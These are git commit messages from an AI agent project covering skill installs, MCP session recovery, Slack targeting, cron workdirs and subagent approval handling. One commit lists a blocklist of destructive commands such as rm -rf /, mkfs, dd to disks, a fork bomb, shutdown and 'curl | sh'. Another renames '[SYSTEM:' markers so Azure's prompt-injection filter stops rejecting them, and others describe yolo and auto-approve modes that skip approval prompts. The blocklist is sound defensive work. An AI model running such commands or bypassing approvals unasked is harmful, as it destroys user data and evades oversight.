`https://sharethis.chat/SKILL.md` had no first-class install path.
* feat(skills): interactive name/category for URL installs + --name override
Follow-up to the UrlSource adapter. The previous commit fell back to weak
heuristics when frontmatter had no ``name:`` and could produce garbage names
like ``SKILL`` or ``unnamed-skill``. Now:
tools/skills_hub.py
- ``UrlSource._is_valid_skill_name()`` — strict identifier check
(``^[a-z][a-z0-9_-]*$``), rejects sentinel values (``SKILL``, ``README``,
``INDEX``, ``unnamed-skill``, empty, non-strings).
- ``_resolve_skill_name()`` returns ``Optional[str]`` — ``None`` when
nothing valid is resolvable. Also ignores unsafe frontmatter names
(``../evil``) and falls through to URL slug instead of returning None
immediately, so a URL with a bad frontmatter but a good path still
works.
- ``fetch()``/``inspect()`` carry an ``awaiting_name=True`` marker in
metadata/extra when resolution fails, letting ``do_install`` decide
whether to prompt, apply an override, or error out.
hermes_cli/skills_hub.py
- ``do_install`` gains a ``name_override`` parameter.
- On URL-sourced bundles with ``awaiting_name=True``:
1. If ``name_override`` is valid → use it.
2. If ``name_override`` is invalid → refuse with a clear error.
3. Else if ``skip_confirm=True`` (non-interactive: slash / TUI /
gateway / scripts) → refuse with an actionable retry hint pointing
at ``--name <your-name>`` on both CLI and slash forms.
4. Else (interactive TTY) → prompt for the name.
- Interactive TTY also prompts for a category when none is given for a
URL-sourced install, hinting existing category buckets so users can
reuse ``productivity``, ``devops``, etc. Empty input → flat install.
- ``_existing_categories()`` scans ``~/.hermes/skills/`` for subdirs that
look like category buckets (contain nested SKILL.md files); skips
top-level skills and hidden dirs.
- ``_prompt_for_skill_name()`` / ``_prompt_for_category()`` helpers
(EOF/Ctrl-C-safe, match the existing ``Confirm [y/N]`` prompt style).
hermes_cli/main.py
- ``hermes skills install`` argparse gains ``--name <name>``.
hermes_cli/skills_hub.py (slash)
- ``/skills install <url> --name <x>`` parsing added.
Tests
- tests/tools/test_skills_hub.py: updated ``UrlSource`` tests to assert
the new ``awaiting_name`` metadata; added 4 new tests for
``_is_valid_skill_name`` rejection sets and the awaiting-name marker.
- tests/hermes_cli/test_skills_hub.py: 8 new tests covering --name
override accept/reject, non-interactive error, interactive name prompt,
interactive category prompt, cancel-aborts-install, and
``_existing_categories`` scan behavior (buckets vs flat skills).
- E2E verified all four paths (no-name/no-override → error;
--name override → install; frontmatter name → install;
invalid --name → rejection).
---------
Co-authored-by: teknium1 <teknium@noreply.github.com>
_search_members() and _fetch_messages() call min(limit, 100) assuming
limit is int. Models can pass limit as a string (e.g. "10"), causing
TypeError: '<' not supported between instances of 'str' and 'int'.
Add try/except int() coercion with safe defaults at the top of both
functions, matching the pattern used in session_search fix (#10522).
Every working dir hermes ever touches gets its own shadow git repo under
~/.hermes/checkpoints/{sha256(abs_dir)[:16]}/. The per-repo _prune is a
no-op (comment in CheckpointManager._prune says so), so abandoned repos
from deleted/moved projects or one-off tmp dirs pile up forever. Field
reports put the typical offender at 1000+ repos / ~12 GB on active
contributor machines.
Adds an opt-in startup sweep that mirrors the sessions.auto_prune
pattern from #13861 / #16286:
- tools/checkpoint_manager.py: new prune_checkpoints() and
maybe_auto_prune_checkpoints() helpers. Deletes shadow repos that
are orphan (HERMES_WORKDIR marker points to a path that no longer
exists) or stale (newest in-repo mtime older than retention_days).
Idempotent via a CHECKPOINT_BASE/.last_prune marker file so it only
runs once per min_interval_hours regardless of how many hermes
processes start up.
- hermes_cli/config.py: new checkpoints.auto_prune /
retention_days / delete_orphans / min_interval_hours knobs.
Default auto_prune: false so users who rely on /rollback against
long-ago sessions never lose data silently.
- cli.py / gateway/run.py: startup hooks gated on checkpoints.auto_prune,
called right next to the existing state.db maintenance block.
- Docs updated with the new config knobs.
- 11 regression tests: orphan/stale deletion, precedence, byte-freed
tracking, non-shadow dir skip, interval gating, corrupt marker
recovery.
Refs #3015 (session-file disk growth was fixed in #16286; this covers
the checkpoint side noted out-of-scope there).
The write_file guard added in #16223 used strict equality against the
internal dedup status message. In practice, the model sometimes
prepends a short note or appends a trailing comment before calling
write_file, which slipped past the strict check.
Broaden the heuristic: reject writes whose stripped content equals
the status message OR contains it and is <=2x its length. Short,
status-dominated writes are always corruption; legitimate docs that
quote the message verbatim are always much longer.
Adds two tests: one for the small-wrapper corruption shape, one
confirming large legitimate files that quote the status still write.
write_file_tool and patch_tool both call _update_read_timestamp to
refresh the staleness tracker after writing, but they never invalidate
the dedup cache entries for the written path. The dedup cache keys are
(resolved_path, offset, limit) → mtime tuples populated by read_file_tool.
On filesystems where a read and write land in the same mtime second (or
when mtime granularity is 1s), the cached and current mtime are equal,
so the dedup check incorrectly returns a 'File unchanged since last
read' stub — even though the file was just overwritten.
The agent then sees stale content (or a stale 'File not found' error)
and enters expensive error-recovery loops, burning API calls.
Fix: add _invalidate_dedup_for_path(filepath, task_id) that removes all
dedup entries whose resolved path matches the written file. Called from
_update_read_timestamp so both write_file_tool and patch_tool benefit
automatically. Scoped to the writing task_id — other tasks' caches are
not affected.
6 regression tests added covering:
- read→write→read within same mtime second (core #13144 scenario)
- invalidation across all offset/limit combinations
- isolation: writing file A does not invalidate file B's cache
- isolation: writing in task A does not invalidate task B's cache
- _invalidate_dedup_for_path safety on missing task / empty dedup
All 25 tests pass (19 existing + 6 new).
Fixes#13144
MCP stdio servers are spawned via the SDK's stdio_client, which on
Linux uses start_new_session=True (setsid). When a cron job is
cancelled mid-way (timeout, agent finish, exception), the subprocess
often escapes the SDK's teardown and survives as a session leader.
Because setsid() detaches the child from the gateway's process group
/ cgroup tree, systemd does not reap it on service restart either —
so every cron tick that touches an MCP tool leaks a dangling server
process.
Fix:
* tools/mcp_tool.py — _run_stdio now wraps the whole stdio+session
context in try/finally. On any exit path (clean, exception,
cancellation), PIDs still alive are moved from the active
_stdio_pids set into a new _orphan_stdio_pids set. Orphan
detection is done via os.kill(pid, 0) — a cheap liveness probe
that never signals the target.
* tools/mcp_tool.py — _kill_orphaned_mcp_children gains an
include_active=False flag. Default behaviour now only reaps the
orphan set so concurrent sessions (other parallel cron jobs or
live user chats) are never disrupted. The existing shutdown path
passes include_active=True to keep the previous "kill everything"
semantics after the MCP loop is stopped.
* cron/scheduler.py — the cleanup hook is moved from run_job()'s
finally (which would race with parallel siblings after #13021)
into tick() after the ThreadPoolExecutor has joined every future.
At that point there are no in-flight sessions from this tick, so
sweeping the orphan set is always safe.
Net effect: zero regression for healthy sessions, and orphan MCP
servers no longer accumulate between gateway restarts.
Made-with: Cursor
Slack's chat.postMessage API rejects user IDs (U...) and workspace
IDs (W...) — they are not valid conversation IDs. Posting to them
fails because the API requires a channel ID (C/G/D). To DM a user,
the sender must first call conversations.open to obtain a D... ID.
Tighten _SLACK_TARGET_RE from [CGDUW] to [CGD] so the send path rejects
U/W values as explicit targets and instead falls through to channel-
name resolution (where they'll fail with a clear 'could not resolve'
error rather than silently getting stuck in a retry loop on the API).
Flip the corresponding regression test to assert U/W values are not
explicit. Matches the narrower regex briandevans proposed in #15939.
Co-authored-by: briandevans <brian@bde.io>
send_message(target='slack:<channel_id>') failed with "Could not
resolve" because _parse_target_ref had no Slack branch — Slack's
uppercase alphanumeric IDs fell through to channel-name resolution,
which only matched by name. As a fallback, the agent would retry with
bare target='slack' and post to the home channel instead.
Three fixes:
- _parse_target_ref recognizes Slack IDs (C/G/D/U/W prefix) as
explicit targets so the name-resolver is bypassed entirely.
- resolve_channel_name tries a case-sensitive raw-ID match before
the existing name match, so any platform's IDs resolve cleanly.
- _build_slack now actually calls users.conversations against each
workspace's AsyncWebClient (paginated), instead of only returning
session-history entries. This populates the directory with public
and private channels the bot has joined, so action='list' shows
them and they can also be addressed by name. Errors from one
workspace don't block others.
build_channel_directory becomes async (Slack web calls require it).
The two async-context callers in gateway/run.py are awaited; the
cron ticker thread call bridges via asyncio.run_coroutine_threadsafe.
Slack bot needs channels:read and groups:read scopes for full
enumeration; missing scopes degrade gracefully per-workspace.
addressing #15927
Before: delegate_task children each allocated their own terminal
sandbox keyed by child task_id. Starting extra containers (or Modal
sandboxes / Daytona workspaces) is expensive, and the subagent's work
is invisible to the parent — files written by the child in its
container don't exist in the parent's when the subagent returns.
After: a single `_resolve_container_task_id` helper maps any
tool-call task_id to "default" UNLESS an env override is registered
for it. The parent agent and all delegate_task children therefore
share one long-lived sandbox — installed packages, cwd, /workspace
files, and /tmp scratch carry over freely between them.
RL and benchmark environments (TerminalBench2, HermesSweEnv, ...)
opt in to isolation via `register_task_env_overrides(task_id, {...})`;
those task_ids survive the collapse and get their own sandbox,
preserving the per-task Docker image behavior these benchmarks rely on.
file_state / active-subagents registry / TUI events still key off the
original child task_id, so the 'subagent wrote a file the parent read'
warning and UI per-subagent panels keep working.
Tradeoff: parallel delegate_task children (tasks=[...]) now share one
bash/container. Concurrent cd, env-var mutations, and writes to the
same path will collide. If that bites a specific workflow, the
subagent can opt back into isolation via register_task_env_overrides.
Applied at four lookup sites:
- tools/terminal_tool.py terminal_tool() and get_active_env()
- tools/file_tools.py _get_file_ops() and _get_live_tracking_cwd()
- tools/code_execution_tool.py _get_or_create_environment()
Docs: website/docs/user-guide/configuration.md updated to reflect the
shared-container reality and document the RL/benchmark carve-out.
Tests: tests/tools/test_shared_container_task_id.py (9 cases).
When a cloud browser provider (Browserbase / Browser-Use / Firecrawl) is
configured, browser_navigate now transparently spawns a local Chromium
sidecar for URLs whose host resolves to a private/loopback/LAN address
(localhost, 127.0.0.1, 192.168.x.x, 10.x.x.x, *.local, *.lan, *.internal,
::1, 169.254.x.x). Public URLs continue to use the cloud provider in the
same conversation.
Previously, setting BROWSERBASE_API_KEY / cloud_provider: browserbase
pinned the whole tool to cloud for the process — localhost URLs were
either SSRF-blocked (default) or sent to Browserbase (where they 404'd
because the cloud can't reach your LAN). Users who wanted 'cloud for
public, local for localhost' had no way to express it short of toggling
providers mid-session.
Implementation uses a composite session key scheme: the bare task_id
serves the cloud session, and a '{task_id}::local' sidecar serves the
local Chromium. _last_active_session_key[task_id] tracks which of the
two served the most recent nav so snapshot/click/fill/etc. hit the
correct one. cleanup_browser(bare_task_id) reaps both.
Feature is on by default. Opt out via:
browser:
auto_local_for_private_urls: false
The cloud provider never sees private URLs. Post-redirect SSRF guard
is preserved: redirects from public onto private addresses still block.
Follow-up to #6616 covering the remaining user-injected prompt markers that
the original PR did not touch (reporter's second comment on #6576 explicitly
flagged these). Azure OpenAI Default/DefaultV2 content filters treat any
bracketed [SYSTEM: ...] as prompt-injection and reject with HTTP 400.
Remaining call sites renamed:
- cli.py: background-process notifications (watch_disabled, watch_match,
completion), MCP reload notice (4 live + 1 docstring)
- gateway/run.py: same notification paths + auto-loaded skill banner +
MCP reload notice (5 live + 1 docstring)
- tools/process_registry.py: comment reference
Not renamed:
- environments/hermes_base_env.py '[SYSTEM]\n{content}' — RL training
trajectory rendering only, never sent to Azure, part of a symmetric
[USER]/[ASSISTANT]/[TOOL] scheme.
AUTHOR_MAP: buraysandro9@gmail.com -> ygd58.
Stop pre-stripping the path from the configured MCP server URL before
constructing OAuthClientProvider. The MCP SDK strips the path itself via
OAuthContext.get_authorization_base_url() for authorization-server
discovery, but uses the full server_url through
resource_url_from_server_url() + check_resource_allowed() to validate
against the server's RFC 9728 Protected Resource Metadata.
For servers whose PRM advertises a path-scoped resource (e.g. Notion's
https://mcp.notion.com/mcp), our _parse_base_url() collapsed the URL to
the origin, so check_resource_allowed() saw requested='/' vs
configured='/mcp/' and refused the token. Fixes OAuth against Notion MCP
(and any other path-scoped resource).
Closes#16015.
Adds a floor below --yolo: a tiny set of commands so catastrophic they
should never run via the agent, regardless of --yolo, gateway /yolo,
approvals.mode=off, or cron approve mode. Opting into yolo is trusting
the agent with your files and services — not trusting it to wipe the
disk or power the box off.
The list is deliberately small (12 patterns), covering only
unrecoverable ops:
- rm -rf targeting /, /home, /etc, /usr, /var, /boot, /bin, /sbin,
/lib, ~, $HOME
- mkfs (any variant)
- dd + redirection to raw block devices (/dev/sd*, /dev/nvme*, etc.)
- fork bomb
- kill -1 / kill -9 -1
- shutdown, reboot, halt, poweroff, init 0/6, telinit 0/6,
systemctl poweroff/reboot/halt/kexec
Recoverable-but-costly commands (git reset --hard, rm -rf /tmp/x,
chmod -R 777, curl | sh) stay in DANGEROUS_PATTERNS where yolo can
still pass them through — that's what yolo is for.
Container backends (docker/singularity/modal/daytona) continue to
bypass both hardline and dangerous checks, since nothing they do can
touch the host.
Inspired by Mercury Agent's permission-hardened blocklist.
* fix(terminal): three-layer defense against watch_patterns notification spam
Background processes that stack notify_on_complete=True with watch_patterns
can flood the user with duplicate, delayed notifications — matches deliver
asynchronously via the completion queue and continue arriving minutes after
the process has exited. The docstring warning against this (PR #12113) has
proven insufficient; agents still misuse the combination.
Three layered defenses, each sufficient on its own:
1. Mutual exclusion (terminal_tool.py): When both flags are set on a
background process, drop watch_patterns with a warning. notify_on_complete
wins because 'let me know when it's done' is the more useful signal and
fires exactly once. Extracted as _resolve_notification_flag_conflict() so
the rule is testable in isolation.
2. Suppress-after-exit (process_registry.py): _check_watch_patterns() now
bails the moment session.exited is True. Post-exit chunks (buffered reads
draining after the process is gone) no longer produce notifications. This
is the fix flagged as future work in session 20260418_020302_79881c.
3. Global circuit breaker (process_registry.py): Per-session rate limits don't
catch the sibling-flood case — N concurrent processes can each stay under
8/10s and still collectively spam. New WATCH_GLOBAL_MAX_PER_WINDOW=15 cap
trips a 30-second cooldown across ALL sessions, emits a single
watch_overflow_tripped event, silently counts dropped events, and emits a
watch_overflow_released summary when the cooldown ends.
Also updates the tool schema + docstring to document the new behavior.
Tests: 8 new tests covering all three fixes (suppress-after-exit x2,
mutual-exclusion resolver x4, global breaker trip/cooldown/release x2).
All 60 tests across test_watch_patterns.py, test_notify_on_complete.py,
test_terminal_tool.py pass.
Real-world trigger: self-inflicted in session 20260425_051924 — three
concurrent hermes-sweeper review subprocesses each set watch_patterns=
['failed validation', 'errored'] AND notify_on_complete=True, then iterated
over multiple items, producing enough matches per process to defeat the
per-session cap while staying under the global cap that didn't yet exist.
* fix(terminal): aggressive 1-per-15s watch_patterns rate limit + strike-3 promotion
Per Teknium's direction, the watch_patterns rate limit is now much more
aggressive and self-healing.
## New rule — per session
- HARD cap: 1 watch-match notification per 15 seconds per process.
- Any match arriving inside the cooldown window is dropped and counts as
ONE strike for that window (many drops in the same window still = 1 strike).
- After 3 consecutive strike windows, watch_patterns is permanently disabled
for the session and the session is auto-promoted to notify_on_complete
semantics — exactly one notification when the process actually exits.
- A cooldown window that expires with zero drops resets the consecutive
strike counter — healthy cadence is forgiven.
## Schema + docstring rewritten
The tool schema description now gives the model explicit guidance:
- notify_on_complete is 'the right choice for almost every long-running task'
- watch_patterns is for RARE one-shot signals on LONG-LIVED processes
- Do NOT use watch_patterns with loops/batch jobs — error patterns fire every
iteration and will hit the strike limit fast
- Mutual exclusion is stated on both parameter descriptions
- 1/15s cooldown and 3-strike promotion are stated in the watch_patterns
description so the model sees the contract every turn
## Removed
- WATCH_MAX_PER_WINDOW (8/10s) and WATCH_OVERLOAD_KILL_SECONDS (45) — the
new 1/15s limit subsumes both; keeping them would double-count.
- _watch_window_hits / _watch_window_start / _watch_overload_since fields
on ProcessSession. Replaced by _watch_last_emit_at / _watch_cooldown_until
/ _watch_strike_candidate / _watch_consecutive_strikes.
## Kept
- Global circuit breaker across all sessions (15/10s → 30s cooldown) as a
secondary safety net for concurrent siblings. Still valuable when 20
short-lived processes each fire once — none individually violates the
per-session limit.
- Suppress-after-exit guard.
- Mutual exclusion resolver at the tool entry point.
## Tests
- 6 new tests in TestPerSessionRateLimit covering: first match delivers,
second in cooldown suppressed, multi-drop = single strike, 3 strikes
disables + promotes, clean window resets counter, suppressed count
carried to next emit.
- Global circuit breaker tests rewritten to use fresh sessions instead of
hacking removed per-window fields.
- 50/50 watch_patterns + notify_on_complete tests pass.
- 60/60 including test_terminal_tool.py pass.
Split the monolithic discord_server tool (14 actions) into two:
- discord: core actions (fetch_messages, search_members, create_thread)
that are useful for the agent's normal operation. Auto-enabled on
the discord platform via the pipeline fix.
- discord_admin: server management actions (list channels/roles, pins,
role assignment) that require explicit opt-in via hermes tools.
Added to CONFIGURABLE_TOOLSETS and _DEFAULT_OFF_TOOLSETS.
The tool schema promised 'On update, pass an empty array to clear' but the
update branch ignored the context_from kwarg entirely — users could set
the field at create time and never modify or clear it afterward.
- tools/cronjob_tools.py: handle context_from in the update branch the
same way script/enabled_toolsets/workdir are handled: normalize str/list
to refs, validate each referenced job exists (same check the create
branch does), store as list-or-None to match create_job()'s shape.
Empty string or empty list clears the field.
- tests/cron/test_cron_context_from.py: 6 new tests covering add/change/
clear (both shapes)/bad-ref/preserve-across-unrelated-update.
Subagents run inside a ThreadPoolExecutor. The CLI's interactive approval
callback lives in tools/terminal_tool.py's threading.local(), which worker
threads do not inherit. When a subagent hits a dangerous-command guard,
prompt_dangerous_approval() falls back to input() from the worker thread,
deadlocking against the parent's prompt_toolkit TUI that owns stdin.
Fix: install a non-interactive callback into every subagent worker thread
via ThreadPoolExecutor(initializer=set_approval_callback, initargs=(cb,)).
The callback is config-gated by delegation.subagent_auto_approve:
false (default) -> _subagent_auto_deny (safe; matches leaf tool blocklist)
true -> _subagent_auto_approve (opt-in YOLO for cron/batch)
Both emit a logger.warning audit line. Gateway sessions are unaffected
because they resolve approvals via tools/approval.py's per-session queue,
not through these TLS callbacks. Diagnosis credit: @MorAlekss (#14685).
- hermes_cli/config.py: DEFAULT_CONFIG.delegation.subagent_auto_approve: False
- cli-config.yaml.example: documented, commented (default)
- tools/delegate_tool.py: _subagent_auto_deny, _subagent_auto_approve,
_get_subagent_approval_callback, wired into the child timeout executor
- tests/tools/test_delegate.py: 7 tests covering defaults, truthy coercion,
and TLS scoping in the worker thread
skill_view response went to the model verbatim; duplicating the SKILL.md
body as raw_content on every tool call added token cost with no agent-facing
benefit. Remove the field and update tests to assert on content only.
The slash/preload caller (agent/skill_commands.py) already falls back to
content when raw_content is absent, and it calls skill_view(preprocess=False)
anyway, so content is already unrendered on that path.
A child running a legitimately long-running tool (terminal command,
browser fetch, big file read) holds current_tool set and keeps
api_call_count frozen while the tool runs. The previous stale check
treated that as idle after 5 heartbeat cycles (~150s), stopped
touching the parent, and let the gateway kill the session.
Split the threshold in two:
- _HEARTBEAT_STALE_CYCLES_IDLE=5 (~150s) — applied only when
current_tool is None (child wedged between turns)
- _HEARTBEAT_STALE_CYCLES_IN_TOOL=20 (~600s) — applied when the child
is inside a tool call
Stale counter also resets when current_tool changes (new tool =
progress). The hard child_timeout_seconds (default 600s) is still
the final cap, so genuinely stuck tools don't get to block forever.
Moves the Spotify integration from tools/ into plugins/spotify/,
matching the existing pattern established by plugins/image_gen/ for
third-party service integrations.
Why:
- tools/ should be reserved for foundational capabilities (terminal,
read_file, web_search, etc.). tools/providers/ was a one-off
directory created solely for spotify_client.py.
- plugins/ is already the home for image_gen backends, memory
providers, context engines, and standalone hook-based plugins.
Spotify is a third-party service integration and belongs alongside
those, not in tools/.
- Future service integrations (eventually: Deezer, Apple Music, etc.)
now have a pattern to copy.
Changes:
- tools/spotify_tool.py → plugins/spotify/tools.py (handlers + schemas)
- tools/providers/spotify_client.py → plugins/spotify/client.py
- tools/providers/ removed (was only used for Spotify)
- New plugins/spotify/__init__.py with register(ctx) calling
ctx.register_tool() × 7. The handler/check_fn wiring is unchanged.
- New plugins/spotify/plugin.yaml (kind: backend, bundled, auto-load).
- tests/tools/test_spotify_client.py: import paths updated.
tools_config fix — _DEFAULT_OFF_TOOLSETS now wins over plugin auto-enable:
- _get_platform_tools() previously auto-enabled unknown plugin
toolsets for new platforms. That was fine for image_gen (which has
no toolset of its own) but bad for Spotify, which explicitly
requires opt-in (don't ship 7 tool schemas to users who don't use
it). Added a check: if a plugin toolset is in _DEFAULT_OFF_TOOLSETS,
it stays off until the user picks it in 'hermes tools'.
Pre-existing test bug fix:
- tests/hermes_cli/test_plugins.py::test_list_returns_sorted
asserted names were sorted, but list_plugins() sorts by key
(path-derived, e.g. image_gen/openai). With only image_gen plugins
bundled, name and key order happened to agree. Adding plugins/spotify
broke that coincidence (spotify sorts between openai-codex and xai
by name but after xai by key). Updated test to assert key order,
which is what the code actually documents.
Validation:
- scripts/run_tests.sh tests/hermes_cli/test_plugins.py \
tests/hermes_cli/test_tools_config.py \
tests/hermes_cli/test_spotify_auth.py \
tests/tools/test_spotify_client.py \
tests/tools/test_registry.py
→ 143 passed
- E2E plugin load: 'spotify' appears in loaded plugins, all 7 tools
register into the spotify toolset, check_fn gating intact.
Three quality improvements on top of #15121 / #15130 / #15135:
1. Tool consolidation (9 → 7)
- spotify_saved_tracks + spotify_saved_albums → spotify_library with
kind='tracks'|'albums'. Handler code was ~90 percent identical
across the two old tools; the merge is a behavioral no-op.
- spotify_activity dropped. Its 'now_playing' action was a duplicate
of spotify_playback.get_currently_playing (both return identical
204/empty payloads). Its 'recently_played' action moves onto
spotify_playback as a new action — history belongs adjacent to
live state.
- Net: each API call ships 2 fewer tool schemas when the Spotify
toolset is enabled, and the action surface is more discoverable
(everything playback-related is on one tool).
2. Spotify skill (skills/media/spotify/SKILL.md)
Teaches the agent canonical usage patterns so common requests don't
balloon into 4+ tool calls:
- 'play X' = one search, then play by URI (not search + scan +
describe + play)
- 'what's playing' = single get_currently_playing (no preflight
get_state chain)
- Don't retry on '403 Premium required' or '403 No active device' —
both require user action
- URI/URL/bare-ID format normalization
- Full failure-mode reference for 204/401/403/429
3. Surfaced in 'hermes setup' tool status
Adds 'Spotify (PKCE OAuth)' to the tool status list when
auth.json has a Spotify access/refresh token. Matches the
homeassistant pattern but reads from auth.json (OAuth-based) rather
than env vars.
Docs updated to reflect the new 7-tool surface, and mention the
companion skill in the 'Using it' section.
Tests: 54 passing (client 22, auth 15, tools_config 35 — 18 = 54 after
renaming/replacing the spotify_activity tests with library +
recently_played coverage). Docusaurus build clean.
Streamable HTTP MCP servers may garbage-collect their server-side
session state while the OAuth token remains valid — idle TTL, server
restart, pod rotation, etc. Before this fix, the tool-call handler
treated the resulting "Invalid or expired session" error as a plain
tool failure with no recovery path, so **every subsequent call on
the affected server failed until the gateway was manually
restarted**. Reporter: #13383.
The OAuth-based recovery path (``_handle_auth_error_and_retry``)
already exists for 401s, but it only fires on auth errors. Session
expiry slipped through because the access token is still valid —
nothing 401'd, so the existing recovery branch was skipped.
Fix
---
Add a sibling function ``_handle_session_expired_and_retry`` that
detects MCP session-expiry via ``_is_session_expired_error`` (a
narrow allow-list of known-stable substrings: ``"invalid or expired
session"``, ``"session expired"``, ``"session not found"``,
``"unknown session"``, etc.) and then uses the existing transport
reconnect mechanism:
* Sets ``MCPServerTask._reconnect_event`` — the server task's
lifecycle loop already interprets this as "tear down the current
``streamablehttp_client`` + ``ClientSession`` and rebuild them,
reusing the existing OAuth provider instance".
* Waits up to 15 s for the new session to come back ready.
* Retries the original call once. If the retry succeeds, returns
its result and resets the circuit-breaker error count. If the
retry raises, or if the reconnect doesn't ready in time, falls
through to the caller's generic error path.
Unlike the 401 path, this does **not** call ``handle_401`` — the
access token is already valid and running an OAuth refresh would be
a pointless round-trip.
All 5 MCP handlers (``call_tool``, ``list_resources``, ``read_resource``,
``list_prompts``, ``get_prompt``) now consult both recovery paths
before falling through:
recovered = _handle_auth_error_and_retry(...) # 401 path
if recovered is not None: return recovered
recovered = _handle_session_expired_and_retry(...) # new
if recovered is not None: return recovered
# generic error response
Narrow scope — explicitly not changed
-------------------------------------
* **Detection is string-based on a 5-entry allow-list.** The MCP
SDK wraps JSON-RPC errors in ``McpError`` whose exception type +
attributes vary across SDK versions, so matching on message
substrings is the durable path. Kept narrow to avoid false
positives — a regular ``RuntimeError("Tool failed")`` will NOT
trigger spurious reconnects (pinned by
``test_is_session_expired_rejects_unrelated_errors``).
* **No change to the existing 401 recovery flow.** The new path is
consulted only after the auth path declines (returns ``None``).
* **Retry count stays at 1.** If the reconnect-then-retry also
fails, we don't loop — the error surfaces normally so the model
sees a failed tool call rather than a hang.
* **``InterruptedError`` is explicitly excluded** from session-expired
detection so user-cancel signals always short-circuit the same
way they did before (pinned by
``test_is_session_expired_rejects_interrupted_error``).
Regression coverage
-------------------
``tests/tools/test_mcp_tool_session_expired.py`` (new, 16 cases):
Unit tests for ``_is_session_expired_error``:
* ``test_is_session_expired_detects_invalid_or_expired_session`` —
reporter's exact wpcom-mcp text.
* ``test_is_session_expired_detects_expired_session_variant`` —
"Session expired" / "expired session" variants.
* ``test_is_session_expired_detects_session_not_found`` — server GC
variant ("session not found", "unknown session").
* ``test_is_session_expired_is_case_insensitive``.
* ``test_is_session_expired_rejects_unrelated_errors`` — narrow-scope
canary: random RuntimeError / ValueError / 401 don't trigger.
* ``test_is_session_expired_rejects_interrupted_error`` — user cancel
must never route through reconnect.
* ``test_is_session_expired_rejects_empty_message``.
Handler integration tests:
* ``test_call_tool_handler_reconnects_on_session_expired`` — reporter's
full repro: first call raises "Invalid or expired session", handler
signals ``_reconnect_event``, retries once, returns the retry's
success result with no ``error`` key.
* ``test_call_tool_handler_non_session_expired_error_falls_through``
— preserved-behaviour canary: random tool failures do NOT trigger
reconnect.
* ``test_session_expired_handler_returns_none_without_loop`` —
defensive: cold-start / shutdown race.
* ``test_session_expired_handler_returns_none_without_server_record``
— torn-down server falls through cleanly.
* ``test_session_expired_handler_returns_none_when_retry_also_fails``
— no retry loop on repeated failure.
Parametrised across all 4 non-``tools/call`` handlers:
* ``test_non_tool_handlers_also_reconnect_on_session_expired``
[list_resources / read_resource / list_prompts / get_prompt].
**15 of 16 fail on clean ``origin/main`` (``6fb69229``)** with
``ImportError: cannot import name '_is_session_expired_error'``
— the fix's surface symbols don't exist there yet. The 1 passing
test is an ordering artefact of pytest-xdist worker collection.
Validation
----------
``source venv/bin/activate && python -m pytest
tests/tools/test_mcp_tool_session_expired.py -q`` → **16 passed**.
Broader MCP suite (5 files:
``test_mcp_tool.py``, ``test_mcp_tool_401_handling.py``,
``test_mcp_tool_session_expired.py``, ``test_mcp_reconnect_signal.py``,
``test_mcp_oauth.py``) → **230 passed, 0 regressions**.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Add event hook to httpx.AsyncClient in MCP HTTP transport that strips
Authorization headers when a redirect targets a different origin,
preventing credential leakage to third-party servers.
``tools/mcp_oauth.py`` relied on ``assert _oauth_port is not None`` to
guard the module-level port set by ``build_oauth_auth``. Python's
``-O`` / ``-OO`` optimization flags strip ``assert`` statements
entirely, so a deployment that runs ``python -O -m hermes ...``
silently loses the check: ``_oauth_port`` stays ``None`` and the
failure surfaces much later as an obscure ``int()`` or
``http.server.HTTPServer((host, None))`` TypeError rather than the
intended "OAuth callback port not set" signal.
Replace with an explicit ``if … raise RuntimeError(...)`` so the
invariant is preserved regardless of the interpreter's optimization
level. Docstring updated to document the new exception.
Found during a proactive audit of ``assert`` statements in
non-test code paths.
OAuth client information and token responses from the MCP SDK contain
Pydantic AnyUrl fields (client_uri, redirect_uris, etc.). The previous
model_dump() call returned a dict with these AnyUrl objects still as
their native Python type, which then crashed json.dumps with:
TypeError: Object of type AnyUrl is not JSON serializable
This caused any OAuth-based MCP server (e.g. alphaxiv) to fail
registration with an "OAuth flow error" traceback during startup.
Adding mode="json" tells Pydantic to serialize all fields to
JSON-compatible primitives (AnyUrl -> str, datetime -> ISO string, etc.)
before returning the dict, so the standard json.dumps can handle it.
Three call sites fixed:
- HermesTokenStorage.set_tokens
- HermesTokenStorage.set_client_info
- build_oauth_auth pre-registration write
Cron jobs can now specify a per-job working directory. When set, the job
runs as if launched from that directory: AGENTS.md / CLAUDE.md /
.cursorrules from that dir are injected into the system prompt, and the
terminal / file / code-exec tools use it as their cwd (via TERMINAL_CWD).
When unset, old behaviour is preserved (no project context files, tools
use the scheduler's cwd).
Requested by @bluthcy.
## Mechanism
- cron/jobs.py: create_job / update_job accept 'workdir'; validated to
be an absolute existing directory at create/update time.
- cron/scheduler.py run_job: if job.workdir is set, point TERMINAL_CWD
at it and flip skip_context_files to False before building the agent.
Restored in finally on every exit path.
- cron/scheduler.py tick: workdir jobs run sequentially (outside the
thread pool) because TERMINAL_CWD is process-global. Workdir-less jobs
still run in the parallel pool unchanged.
- tools/cronjob_tools.py + hermes_cli/cron.py + hermes_cli/main.py:
expose 'workdir' via the cronjob tool and 'hermes cron create/edit
--workdir ...'. Empty string on edit clears the field.
## Validation
- tests/cron/test_cron_workdir.py (21 tests): normalize, create, update,
JSON round-trip via cronjob tool, tick partition (workdir jobs run on
the main thread, not the pool), run_job env toggle + restore in finally.
- Full targeted suite (tests/cron/, test_cronjob_tools.py, test_cron.py,
test_config_cwd_bridge.py, test_worktree.py): 314/314 passed.
- Live smoke: hermes cron create --workdir $(pwd) works; relative path
rejected; list shows 'Workdir:'; edit --workdir '' clears.
When a subagent in delegate_task times out before making its first LLM
request, write a structured diagnostic file under
~/.hermes/logs/subagent-timeout-<sid>-<ts>.log capturing enough state
for the user (and us) to debug the hang. The old error message —
'Subagent timed out after Ns with no response. The child may be stuck
on a slow API call or unresponsive network request.' — gave no
observability for the 0-API-call case, which is the hardest to reason
about remotely.
The diagnostic captures:
- timeout config vs actual duration
- goal (truncated to 1000 chars)
- child config: model, provider, api_mode, base_url, max_iterations,
quiet_mode, platform, _delegate_role, _delegate_depth
- enabled_toolsets + loaded tool names
- system prompt byte/char count (catches oversized prompts that
providers silently choke on)
- tool schema count + byte size
- child's get_activity_summary() snapshot
- Python stack of the worker thread at the moment of timeout
(reveals whether the hang is in credential resolution, transport,
prompt construction, etc.)
Wiring:
- _run_single_child captures the worker thread via a small wrapper
around child.run_conversation so we can look up its stack at
timeout.
- After a FuturesTimeoutError, we pull child.get_activity_summary()
